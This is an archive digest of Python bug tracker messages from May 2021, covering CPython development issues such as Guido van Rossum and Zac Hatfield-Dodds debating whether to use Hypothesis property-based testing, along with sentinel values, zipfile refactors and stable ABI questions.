In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1620943955.46.0.44511607582.issue42972@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- pull_requests: +24759 pull_request: https://github.com/python/cpython/pull/26114 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 18:15:44 2021 From: report at bugs.python.org (Guido van Rossum) Date: Thu, 13 May 2021 22:15:44 +0000 Subject: [issue42109] Use hypothesis for testing the standard library, falling back to stubs In-Reply-To: <1603301913.79.0.22425692211.issue42109@roundup.psfhosted.org> Message-ID: <1620944144.87.0.589479183693.issue42109@roundup.psfhosted.org> Guido van Rossum added the comment: I would like to have a more thorough discussion about the desirability of using Hypothesis first, since I feel that there is a rather hard "sell" going on. I brought this up in the SC tracker (https://github.com/python/steering-council/issues/65) but I don't want to have the discussion there. Copying some quoted text from there: [me] > > Can we perhaps have an open discussion on the merits of Hypothesis itself on python-dev before committing to this? [Paul] > You mean hypothesis specifically or property-based testing in general? I think that if we add property-based testing, hypothesis is probably the only natural choice. Of course, I can make this case on the thread if that was your intention. I don't even know what property-based testing means (for Python) other than Hypothesis. What other frameworks support that? In any case, nobody has been promoting anything else, but Zac has been on our case for over a year. :-) [me] > > It seems to promote a coding style that's more functional than is good for Python, and its inner workings seem too magical to me. Also the decorator-based DSL looks pretty inscrutable to me. [Paul] > Do you mean it's promoting a coding style within the tests, or in the public API? When designing zoneinfo I didn't think about how easy it would be to test with Hypothesis at all as part of the API and it was basically frictionless. I meant in the public API. I don't doubt that for zoneinfo this worked well, but that doesn't prove it's any better than any other framework (maybe you would have been ecstatic if you could have used pytest as well :-). Fundamentally, I am a bit suspicious of Hypothesis' origins, Haskell, which is a language and community that just have a different approach to programming than Python. Don't get me wrong, I don't think there's anything wrong with Haskell (except that I've noticed it's particularly popular with the IQ >= 150 crowd :-). It's just different than Python, and just as we don't want to encourage writing "Fortran or Java in Python", I don't think it's a good idea to recommend writing "Haskell in Python". > I think there are situations where it makes sense to write functional-style strategies because it can in some situations give hypothesis more information about how the strategies are transformed (and thus allow it to optimize how the data is drawn rather than drawing from the full set and discarding a bunch of stuff that doesn't match, or doing a bunch of extra logic on each draw), but it's by no means required. I'd say most of my "complex strategies" are decorated functions rather than chains of maps and filters. Ah, here we get to the crux of the matter. What's a "strategy"? Maybe I would be more inclined to support Hypothesis if it was clearer what it does. I like libraries that do stuff for me that I know how to do myself. With Hypothesis, the deeper I get into the docs, the more I get the impression that there is deep magic going on that a poor sap like myself isn't supposed to understand. When I write @given(st.lists(st.integers)) what does that do? I haven't the foggiest idea, and from the docs I get the impression I'm not supposed to worry about it, and *that* worries me. Clearly it can't be generating all lists of 0 integers followed by all lists of 1 integer followed by all lists of 2 integers ... So in what order does it generate test data? The docs are pretty vague about that. (I'm not playing dumb here. I really have no idea how to go about that, and it seems that this is at the heart of Hypothesis and its' Haskell ancestors. Presumably Ph.D theses went into making this sort of thing work. Perhaps more effort could be expended explaining this part to laypeople?) > From the stdlib-property-tests repo, this seems like the most complicated strategy I'm seeing employed, and I find it fairly simple to understand, and I don't know how easy to read any code would be that generates trees of arbitrary depth containing objects with specific properties. I have never tried that sort of thing, so I'll take your word for it. But there are other strategies. It seems that a lot of the strategies are answers to a series of questions, along the lines of "how do I generate valid URLs"; and then "email addresses"; and then "IP addresses"; and then suddenly we find a strategy that generates *functions*, and then we get "recursive things", and it keeps going. Timezone keys?! No wonder you found it easy to use. :-) I think I've heard that there's a strategy somewhere that generates random Python programs. How would that even work? Would it help me find corner cases in the grammar? I suppose we could actually use something like that for the "faster CPython" project, to validate that the optimizer doesn't break things. But how? Do I just write @given(st.python_programs(), st.values()) def test_optimizer(func, arg): expected = func(arg) optimized = optimizer(func)(arg) assert optimized == expected ??? Methinks that the hard work then is writing the python_programs() strategy, so I'd want to understand that before trusting it. I suspect I've repeated myself enough times at this point :-), so I hope I'll get some sort of answer. Somehow it seems in its zeal to "sell" itself as super-easy to use in all sorts of circumstances, Hypotheses has buried the lede -- how do you write effective strategies? ---------- nosy: +gvanrossum _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 18:26:54 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Thu, 13 May 2021 22:26:54 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1620944814.21.0.109995212734.issue42972@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- pull_requests: -23226 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 18:45:10 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 13 May 2021 22:45:10 +0000 Subject: [issue43908] array.array should remain immutable: add Py_TPFLAGS_IMMUTABLETYPE flag In-Reply-To: <1619031139.87.0.55032170532.issue43908@roundup.psfhosted.org> Message-ID: <1620945910.97.0.446852371924.issue43908@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 11.0 -> 12.0 pull_requests: +24760 pull_request: https://github.com/python/cpython/pull/26115 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 18:50:10 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Thu, 13 May 2021 22:50:10 +0000 Subject: [issue38693] Use f-strings instead of str.format within importlib In-Reply-To: <1572934817.34.0.695862725726.issue38693@roundup.psfhosted.org> Message-ID: <1620946210.3.0.602710491041.issue38693@roundup.psfhosted.org> Filipe La?ns added the comment: Both importlib_metadata and importlib_resources have dropped support for Python 2.7 and 3.5, this should now be unblocked. ---------- nosy: +FFY00 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 19:04:23 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 13 May 2021 23:04:23 +0000 Subject: [issue43908] array.array should remain immutable: add Py_TPFLAGS_IMMUTABLETYPE flag In-Reply-To: <1619031139.87.0.55032170532.issue43908@roundup.psfhosted.org> Message-ID: <1620947063.42.0.763116139346.issue43908@roundup.psfhosted.org> miss-islington added the comment: New changeset 3222b25b2f55d3b3d1dab4547bf7b5adaa1d874f by Miss Islington (bot) in branch '3.10': [3.10] bpo-43908: Add What's New entry for Py_TPFLAGS_IMMUTABLETYPE flag (GH-25816) (GH-26115) https://github.com/python/cpython/commit/3222b25b2f55d3b3d1dab4547bf7b5adaa1d874f ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 23:22:17 2021 From: report at bugs.python.org (Barney Gale) Date: Fri, 14 May 2021 03:22:17 +0000 Subject: [issue43012] Remove pathlib accessors In-Reply-To: <1611425755.47.0.494853383169.issue43012@roundup.psfhosted.org> Message-ID: <1620962537.4.0.0131298651344.issue43012@roundup.psfhosted.org> Change by Barney Gale : ---------- type: -> performance versions: +Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 00:13:13 2021 From: report at bugs.python.org (Daniel Hillier) Date: Fri, 14 May 2021 04:13:13 +0000 Subject: [issue44128] zipfile: Deduplicate ZipExtFile code for init and resetting when seeking Message-ID: <1620965593.28.0.249048216439.issue44128@roundup.psfhosted.org> New submission from Daniel Hillier : Integrating a refactor suggested in https://bugs.python.org/issue38334 The logic for preparing a ZipExtFile for reading (setting CRC state, read positions, etc) is currently in two locations: first initialisation and when seeking back to the start of a file. This change moves the logic into the method `ZipExtFile.init_read()` ---------- components: Library (Lib) messages: 393619 nosy: dhillier, serhiy.storchaka priority: normal severity: normal status: open title: zipfile: Deduplicate ZipExtFile code for init and resetting when seeking type: enhancement versions: Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 00:21:47 2021 From: report at bugs.python.org (Zac Hatfield-Dodds) Date: Fri, 14 May 2021 04:21:47 +0000 Subject: [issue42109] Use hypothesis for testing the standard library, falling back to stubs In-Reply-To: <1603301913.79.0.22425692211.issue42109@roundup.psfhosted.org> Message-ID: <1620966107.54.0.339435983349.issue42109@roundup.psfhosted.org> Zac Hatfield-Dodds added the comment: (I think structuring this as a high-level explanation is clearer than point-by-point replies - it covers most of them, but the logic is hopefully easier to follow) The core idea of Hypothesis is that making random choices is equivalent to parsing a random bitstring: - wrap your test function in a decorator which calls it many times with random inputs - describe those inputs with strategies, (which are parser combinators) - the bytes parsed by strategies can be provided by a Random() instance, saved to and loaded from a database, edited and (maybe) re-parsed into related or simpler inputs, etc. Minithesis [1] is a complete implementation of this core, including strategies, shrinking, and the database, in a few hundred lines of Python. I think reading this will answer most of your implementation questions. Hypothesis is not the *only* property-based testing library for Python (there's pytest-quickcheck), but in the same sense that `six` is not the only py2/py3 compatibility layer. I attribute this to a combination of a better underlying model [2], and brute implementation effort to provide great error messages, integration with popular libraries, lots of strategies, related tooling, and so on. [1] https://github.com/DRMacIver/minithesis See also https://hypothesis.works/articles/how-hypothesis-works/ for an older writeup; the implementation details are a little outdated but it explains the motivations better. [2] https://hypothesis.works/articles/types-and-properties/ So a "strategy" is an object (implementation detail: a parser combinator, instance of SearchStrategy), which tells Hypothesis how to convert a random bytestring into whatever object you've asked for. This is a little unusual, but I haven't found a better way which still makes it easy to mix the strategy primitives with arbitrary user code such as "pick a username, ensure it's in the database, and then pass it to my test method". I share your distaste for "Haskell in Python"; I don't think Hypothesis introduces more of that flavor than Numpy would introduce Fortran idioms - there's occasionally a resemblance, but they're both Python-first libraries and I'd attribute it mostly to the problem being solved. FWIW Hypothesis deliberately rejected most of the design choices of QuickCheck, and implementation-wise has more in common with unixy fuzzing tools like AFL. The strategies in our API can generally be divided into useful primitives (e.g. integers, floats, lists, tuples, sampled_from, one_of) and pre-composed strategies (booleans = sampled_from, dictionaries = map+lists-of-kv-tuples, builds = tuples+fixed_dictionaries+map). Very specific strategies like emails() are included because they're a common need, and a naive implementation usually omits exactly the weirder and error-prone features that might reveal bugs. We _are_ deliberately vague about the order in which we generate test data, because the distribution is full of heuristics and adapts itself to the behaviour of the test - including over multiple runs, thanks to the database. The exact details are also considered an implementation detail, and subject to change as we discover heuristics and sampling techniques which find bugs faster. The upside here is writing effective strategies is straightforward: - expressing more possible (valid) inputs is good, because e.g. if the bug triggers on NaN we'd have to generate some NaNs to detect it; and - limiting use of rejection sampling (hypothesis.assume(), the .filter() method) is an obvious performance improvement - if only 20% of inputs we try to generate are valid, the test will take five times longer. following which Hypothesis' backend (the "conjecture" engine) uses a large helping of heuristics and fancy code to ensure that we get a nice diverse sample from the inputs space. Unfortunately there's a direct tension between high performance and explainable behaviour; Minithesis is readable mostly by virtue of not handling the hard edge cases. I'll take my Hypothesmith [3] project for random Python programs as an example of a complex strategy. It was inspired by CSmith [4] - but is considerably less sophisticated. CSmith constructs semantically valid C programs; Hypothesmith (for now!) constructs a subset of syntatically-valid Python. The basic idea is to "invert" the grammar: start with the root node, recursively construct a valid parse tree, and then serialise it out to a parsable input string. Doing a better job would require more time than I had for a proof-of-concept, but no new insights; and the same applies to defining a strategy for semantically-valid code. Being based on the grammar I'd guess it's unlikely to find corner cases in the grammar, but it might do so in the parser, or via e.g. `(tree := ast.parse(code)) == ast.parse(ast.unparse(tree))`. Your distrust of the python_programs() strategy is entirely reasonable, and I'd also want to understand it. I'd just add that it doesn't need to be elegant, or general, or express all inputs... so long as it can find valid inputs that reveal a bug, more easily or cheaply than users or other testing techniques :-) To test compiler optimizations, yes, once you had the strategy that exact test body would work. An even more effective option is to use "equivalence modulo inputs" [5] to derive `func2` and also assert that `optimizer(func)(arg) == optimizer(func2)(arg)`. [3] https://pypi.org/project/hypothesmith/ ; in action at https://github.com/psf/black/blob/main/fuzz.py [4] https://embed.cs.utah.edu/csmith/ [5] http://vuminhle.com/pdf/pldi14-emi.pdf I hope that helps; in particular Minithesis should take most of the magic out of it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 00:33:18 2021 From: report at bugs.python.org (Daniel Hillier) Date: Fri, 14 May 2021 04:33:18 +0000 Subject: [issue44128] zipfile: Deduplicate ZipExtFile code for init and resetting when seeking In-Reply-To: <1620965593.28.0.249048216439.issue44128@roundup.psfhosted.org> Message-ID: <1620966798.24.0.327372538657.issue44128@roundup.psfhosted.org> Change by Daniel Hillier : ---------- keywords: +patch pull_requests: +24761 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26116 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 00:44:16 2021 From: report at bugs.python.org (Guido van Rossum) Date: Fri, 14 May 2021 04:44:16 +0000 Subject: [issue42109] Use hypothesis for testing the standard library, falling back to stubs In-Reply-To: <1603301913.79.0.22425692211.issue42109@roundup.psfhosted.org> Message-ID: <1620967456.62.0.521858769161.issue42109@roundup.psfhosted.org> Guido van Rossum added the comment: Thanks, I will look into that before stirring up more dust. ---------- nosy: +Guido.van.Rossum _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 00:53:27 2021 From: report at bugs.python.org (Daniel Hillier) Date: Fri, 14 May 2021 04:53:27 +0000 Subject: [issue44129] zipfile: Add descriptive global variables for general purpose bit flags Message-ID: <1620968007.4.0.439932400929.issue44129@roundup.psfhosted.org> New submission from Daniel Hillier : In the zipfile module, masking of bit flags is done against hex numbers eg. if flags & 0x800... To increase readability I suggest we replace these with global variables named for the purpose of the flag. From the example above: if flags & 0x800 becomes: if flags & _MASK_UTF_FILENAME ---------- components: Library (Lib) messages: 393622 nosy: dhillier, serhiy.storchaka priority: normal severity: normal status: open title: zipfile: Add descriptive global variables for general purpose bit flags versions: Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 01:24:20 2021 From: report at bugs.python.org (Carol Willing) Date: Fri, 14 May 2021 05:24:20 +0000 Subject: [issue43757] pathlib: move 'resolve()' logic out of path flavour In-Reply-To: <1617762768.57.0.0406169855145.issue43757@roundup.psfhosted.org> Message-ID: <1620969860.86.0.543604172615.issue43757@roundup.psfhosted.org> Carol Willing added the comment: New changeset ea14a0749a4f19b29236fc0acc4b556d9243bc6f by Miss Islington (bot) in branch '3.10': bpo-43757: Document os.path.realpath(strict=True) in 3.10 whatsnew. (GH-26090) (#26099) https://github.com/python/cpython/commit/ea14a0749a4f19b29236fc0acc4b556d9243bc6f ---------- nosy: +willingc _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 01:29:13 2021 From: report at bugs.python.org (Carol Willing) Date: Fri, 14 May 2021 05:29:13 +0000 Subject: [issue43795] Implement PEP 652 -- Maintaining the Stable ABI In-Reply-To: <1617983030.95.0.501839301811.issue43795@roundup.psfhosted.org> Message-ID: <1620970153.25.0.286078060061.issue43795@roundup.psfhosted.org> Carol Willing added the comment: New changeset 373937182ee029c282bea58cdda57ab41990f404 by Miss Islington (bot) in branch '3.10': bpo-43795: PEP 652 user documentation (GH-25668) (GH-26034) https://github.com/python/cpython/commit/373937182ee029c282bea58cdda57ab41990f404 ---------- nosy: +willingc _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 01:31:39 2021 From: report at bugs.python.org (miss-islington) Date: Fri, 14 May 2021 05:31:39 +0000 Subject: [issue43977] Implement the latest semantics for PEP 634 for matching collections In-Reply-To: <1619714021.85.0.37223153861.issue43977@roundup.psfhosted.org> Message-ID: <1620970299.15.0.763599540747.issue43977@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 3.0 -> 4.0 pull_requests: +24762 pull_request: https://github.com/python/cpython/pull/26117 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 01:36:52 2021 From: report at bugs.python.org (Daniel Hillier) Date: Fri, 14 May 2021 05:36:52 +0000 Subject: [issue44129] zipfile: Add descriptive global variables for general purpose bit flags In-Reply-To: <1620968007.4.0.439932400929.issue44129@roundup.psfhosted.org> Message-ID: <1620970612.71.0.55781031641.issue44129@roundup.psfhosted.org> Change by Daniel Hillier : ---------- keywords: +patch pull_requests: +24763 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26118 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 01:55:47 2021 From: report at bugs.python.org (Carol Willing) Date: Fri, 14 May 2021 05:55:47 +0000 Subject: [issue43977] Implement the latest semantics for PEP 634 for matching collections In-Reply-To: <1619714021.85.0.37223153861.issue43977@roundup.psfhosted.org> Message-ID: <1620971747.05.0.149149723894.issue43977@roundup.psfhosted.org> Carol Willing added the comment: New changeset e7d25d3f3b335eb46d102137b447325f54750e31 by Miss Islington (bot) in branch '3.10': bpo-43977: Update pattern matching language reference docs (GH-25917) (GH-26117) https://github.com/python/cpython/commit/e7d25d3f3b335eb46d102137b447325f54750e31 ---------- nosy: +willingc _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 02:23:23 2021 From: report at bugs.python.org (Inada Naoki) Date: Fri, 14 May 2021 06:23:23 +0000 Subject: [issue44117] [C API] Remove deprecated PyEval_InitThreads() In-Reply-To: <1620833028.19.0.0980043255571.issue44117@roundup.psfhosted.org> Message-ID: <1620973403.14.0.711869010668.issue44117@roundup.psfhosted.org> Inada Naoki added the comment: It seems they are stable ABI. https://github.com/python/cpython/blob/56b8ea65d28bd865e2363e10e9f1c2ca3433ffc2/Misc/stable_abi.txt#L604 https://github.com/python/cpython/blob/56b8ea65d28bd865e2363e10e9f1c2ca3433ffc2/Misc/stable_abi.txt#L614 We may need to keep no-op API until Python 4? ---------- nosy: +methane _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 02:59:36 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Fri, 14 May 2021 06:59:36 +0000 Subject: [issue44123] make function parameter sentinel value true singletons In-Reply-To: <1620911826.39.0.0347354211372.issue44123@roundup.psfhosted.org> Message-ID: <1620975576.36.0.0829255545852.issue44123@roundup.psfhosted.org> Raymond Hettinger added the comment: This needs a good deal more discussion before sweeping through the code and change a long standing Python idiom that has stood the test of time. Until now, no one has claimed that this is broken. You "recently noticing this" doesn't mean that it is wrong. ---------- nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 03:36:30 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 14 May 2021 07:36:30 +0000 Subject: [issue44123] make function parameter sentinel value true singletons In-Reply-To: <1620911826.39.0.0347354211372.issue44123@roundup.psfhosted.org> Message-ID: <1620977790.73.0.202144371014.issue44123@roundup.psfhosted.org> Serhiy Storchaka added the comment: I do not understand the problem with pickling sentinel values used as default values for function parameters. Could you please show an example? ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 03:47:18 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 14 May 2021 07:47:18 +0000 Subject: [issue38693] Use f-strings instead of str.format within importlib In-Reply-To: <1572934817.34.0.695862725726.issue38693@roundup.psfhosted.org> Message-ID: <1620978438.57.0.398446502438.issue38693@roundup.psfhosted.org> Serhiy Storchaka added the comment: I just have merged a change which makes many C-style formatting as fast as f-strings (issue28307) and am working on supporting more format codes (%d, %x, %f, etc). Using C-style formatting can be a good option if you want performance and backward compatibility. It was faster than str.format() even without that optimization. ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 03:47:29 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 14 May 2021 07:47:29 +0000 Subject: [issue38693] Use f-strings instead of str.format within importlib In-Reply-To: <1572934817.34.0.695862725726.issue38693@roundup.psfhosted.org> Message-ID: <1620978449.47.0.974370666975.issue38693@roundup.psfhosted.org> Change by Serhiy Storchaka : ---------- versions: +Python 3.11 -Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 03:53:19 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 14 May 2021 07:53:19 +0000 Subject: [issue44117] [C API] Remove deprecated PyEval_InitThreads() In-Reply-To: <1620833028.19.0.0980043255571.issue44117@roundup.psfhosted.org> Message-ID: <1620978799.76.0.134857426132.issue44117@roundup.psfhosted.org> Serhiy Storchaka added the comment: Should not they be kept for binary compatibility, so you can link with extensions compiled for older Python versions? They can be removed from headers, so newly compiled extensions will not be able to use them. ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 04:08:15 2021 From: report at bugs.python.org (STINNER Victor) Date: Fri, 14 May 2021 08:08:15 +0000 Subject: [issue28146] Confusing error messages in str.format() In-Reply-To: <1473851555.69.0.998405869153.issue28146@psf.upfronthosting.co.za> Message-ID: <1620979695.54.0.496958355458.issue28146@roundup.psfhosted.org> STINNER Victor added the comment: commit 4aeee0b47b3a2b604bbac37040320ffc88c291f2 Author: Irit Katriel Date: Thu May 13 21:55:55 2021 +0100 bpo-28146: Fix a confusing error message in str.format() (GH-24213) Automerge-Triggered-By: GH:pitrou ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 04:09:53 2021 From: report at bugs.python.org (STINNER Victor) Date: Fri, 14 May 2021 08:09:53 +0000 Subject: [issue26032] Use scandir() to speed up pathlib globbing In-Reply-To: <1452120927.04.0.31788168865.issue26032@psf.upfronthosting.co.za> Message-ID: <1620979793.07.0.00713129977851.issue26032@roundup.psfhosted.org> Change by STINNER Victor : ---------- nosy: -vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 04:37:26 2021 From: report at bugs.python.org (Tal Einat) Date: Fri, 14 May 2021 08:37:26 +0000 Subject: [issue44123] make function parameter sentinel value true singletons In-Reply-To: <1620911826.39.0.0347354211372.issue44123@roundup.psfhosted.org> Message-ID: <1620981446.86.0.216042196601.issue44123@roundup.psfhosted.org> Tal Einat added the comment: > This needs a good deal more discussion before sweeping through the code and change a long standing Python idiom that has stood the test of time. I agree this should be discussed, which is why I created this issue about it, as place for that discussion to take place. This is also being discussed on python-dev. The examples I've mentioned are both rather new, and they have implemented sentinel values using three different methods, with those in dataclasses even being inconsistent among themselves. I fail to see how this can be considered "chang[ing] a long standing Python idiom that has stood the test of time". > You "recently noticing this" doesn't mean that it is wrong. I find this wording makes things unnecessarily personal and negative. Let's discuss things based on technical merit. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 04:45:20 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 14 May 2021 08:45:20 +0000 Subject: [issue42109] Use hypothesis for testing the standard library, falling back to stubs In-Reply-To: <1603301913.79.0.22425692211.issue42109@roundup.psfhosted.org> Message-ID: <1620981920.3.0.767823532185.issue42109@roundup.psfhosted.org> Terry J. Reedy added the comment: This issue confuses two different testing issues. First is selection of test data before the test versus generation while testing (usually 'randomly') Second is how the function is tested. All tests test some property of the inputs and function, but it is useful to distinguish between testing that a function produces a specific expected output versus testing something more abstract or defined in terms of the inputs. Example 1: 2 + 3 = 5 (a + b = (known) c) versus 2 + 3 = 3 + 2 (a + b = b + a) and (2 + 3) + 4 = 2 + (3 + 4). Example 2: sorted([3,5,1,4]) = [1,3,4,5] versus is_sorted(sorted([random list]). The latter are what hypothesis people mean by 'property tests'. Such property tests can be done with either fixed or random pairs in unittest module tests. The test that a module compiles is a weak property test, but better than nothing. A test that that all lines of code runs at least once without an unexpected exception a stronger property test. I consider it roughly on a par with min(s) <= mean(s) <= max(s). The connection between randomized input testing, such as with hypothesis, and property tests is that with random inputs, one cannot test f(input) against an 'expected' value unless one has an alternate means of producing the expected value. It is often easier to test a parameterized equation or other properties. The problem with random input tests in not that they are 'flakey', but that they are useless unless someone is going to pay attention to failures and try to find the cause. This touches on the difference between regression testing and bug-finding tests. CPython CI is the former, and marred at that by buggy randomly failing tests. My conclusion: bug testing would likely be a good idea, but should be done separate from the CI test suite. Such testing should only be done for modules with an active maintainer who would welcome failure reports. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 04:56:30 2021 From: report at bugs.python.org (STINNER Victor) Date: Fri, 14 May 2021 08:56:30 +0000 Subject: [issue44123] make function parameter sentinel value true singletons In-Reply-To: <1620911826.39.0.0347354211372.issue44123@roundup.psfhosted.org> Message-ID: <1620982590.51.0.626526551628.issue44123@roundup.psfhosted.org> STINNER Victor added the comment: Tal: "This is also being discussed on python-dev." https://mail.python.org/archives/list/python-dev at python.org/thread/ZLVPD2OISI7M4POMTR2FCQTE6TPMPTO3/ ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 05:14:01 2021 From: report at bugs.python.org (Petr Viktorin) Date: Fri, 14 May 2021 09:14:01 +0000 Subject: [issue41111] [C API] Convert a few stdlib extensions to the limited C API (PEP 384) In-Reply-To: <1593075260.88.0.835474638855.issue41111@roundup.psfhosted.org> Message-ID: <1620983641.11.0.365014092647.issue41111@roundup.psfhosted.org> Petr Viktorin added the comment: METH_VARARGS and METH_KEYWORDS are part of the stable ABI. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 05:34:12 2021 From: report at bugs.python.org (miss-islington) Date: Fri, 14 May 2021 09:34:12 +0000 Subject: [issue43795] Implement PEP 652 -- Maintaining the Stable ABI In-Reply-To: <1617983030.95.0.501839301811.issue43795@roundup.psfhosted.org> Message-ID: <1620984852.49.0.595598694808.issue43795@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24764 pull_request: https://github.com/python/cpython/pull/26123 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 05:42:03 2021 From: report at bugs.python.org (Miguel Brito) Date: Fri, 14 May 2021 09:42:03 +0000 Subject: [issue32133] documentation: numbers module nitpick In-Reply-To: <1511634703.59.0.213398074469.issue32133@psf.upfronthosting.co.za> Message-ID: <1620985323.57.0.485922312496.issue32133@roundup.psfhosted.org> Miguel Brito added the comment: Seen that nobody is working on this I transformed the suggestion into a PR. ---------- nosy: +miguendes _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 06:12:07 2021 From: report at bugs.python.org (Miguel Brito) Date: Fri, 14 May 2021 10:12:07 +0000 Subject: [issue44095] Add suffix property to zipfile.Path In-Reply-To: <1620624563.22.0.863899405622.issue44095@roundup.psfhosted.org> Message-ID: <1620987127.65.0.617318754188.issue44095@roundup.psfhosted.org> Miguel Brito added the comment: +1. The docstring says: ``` class Path: """ A pathlib-compatible interface for zip files. ``` but only a few methods are supported. It'd be nice to have at least `stem`, `parents`, `suffixes`, `parts`, which IMHO would make sense here. I'd love to work on this if the Core Devs think it makes sense and if OP is not doing so also. ---------- nosy: +miguendes _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 06:28:53 2021 From: report at bugs.python.org (miss-islington) Date: Fri, 14 May 2021 10:28:53 +0000 Subject: [issue44108] [sqlite3] normalise SQL quoted literals in sqlite3 test suite In-Reply-To: <1620728198.03.0.232400651845.issue44108@roundup.psfhosted.org> Message-ID: <1620988133.93.0.823670639929.issue44108@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 2.0 -> 3.0 pull_requests: +24765 pull_request: https://github.com/python/cpython/pull/26125 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 07:07:28 2021 From: report at bugs.python.org (Dong-hee Na) Date: Fri, 14 May 2021 11:07:28 +0000 Subject: [issue44108] [sqlite3] normalise SQL quoted literals in sqlite3 test suite In-Reply-To: <1620728198.03.0.232400651845.issue44108@roundup.psfhosted.org> Message-ID: <1620990448.05.0.531972764796.issue44108@roundup.psfhosted.org> Dong-hee Na added the comment: New changeset f28bac428d5fff23fe5e95aa02b903ee2dd5b3de by Miss Islington (bot) in branch '3.10': bpo-44108: sqlite3 test suite now works with SQLITE_DQS=0 (GH-26032) (GH-26125) https://github.com/python/cpython/commit/f28bac428d5fff23fe5e95aa02b903ee2dd5b3de ---------- nosy: +corona10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 07:10:56 2021 From: report at bugs.python.org (Irit Katriel) Date: Fri, 14 May 2021 11:10:56 +0000 Subject: [issue1662] [patch] assert tp_traverse in PyType_GenericAlloc() In-Reply-To: <1198084921.68.0.0736452990224.issue1662@psf.upfronthosting.co.za> Message-ID: <1620990656.56.0.595722843118.issue1662@roundup.psfhosted.org> Irit Katriel added the comment: tp_traverse is optional, so we should not add this assertion. ---------- resolution: -> rejected stage: test needed -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 07:46:46 2021 From: report at bugs.python.org (hai shi) Date: Fri, 14 May 2021 11:46:46 +0000 Subject: [issue41111] [C API] Convert a few stdlib extensions to the limited C API (PEP 384) In-Reply-To: <1593075260.88.0.835474638855.issue41111@roundup.psfhosted.org> Message-ID: <1620992806.94.0.839182012462.issue41111@roundup.psfhosted.org> hai shi added the comment: > METH_VARARGS and METH_KEYWORDS are part of the stable ABI. Copy that, thanks, petr. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 07:55:08 2021 From: report at bugs.python.org (hai shi) Date: Fri, 14 May 2021 11:55:08 +0000 Subject: [issue41111] [C API] Convert a few stdlib extensions to the limited C API (PEP 384) In-Reply-To: <1593075260.88.0.835474638855.issue41111@roundup.psfhosted.org> Message-ID: <1620993308.55.0.962349602981.issue41111@roundup.psfhosted.org> Change by hai shi : ---------- versions: +Python 3.11 -Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 07:57:21 2021 From: report at bugs.python.org (STINNER Victor) Date: Fri, 14 May 2021 11:57:21 +0000 Subject: [issue44113] [C API] Deprecate legacy API for configure Python initialization In-Reply-To: <1620814854.22.0.288089446549.issue44113@roundup.psfhosted.org> Message-ID: 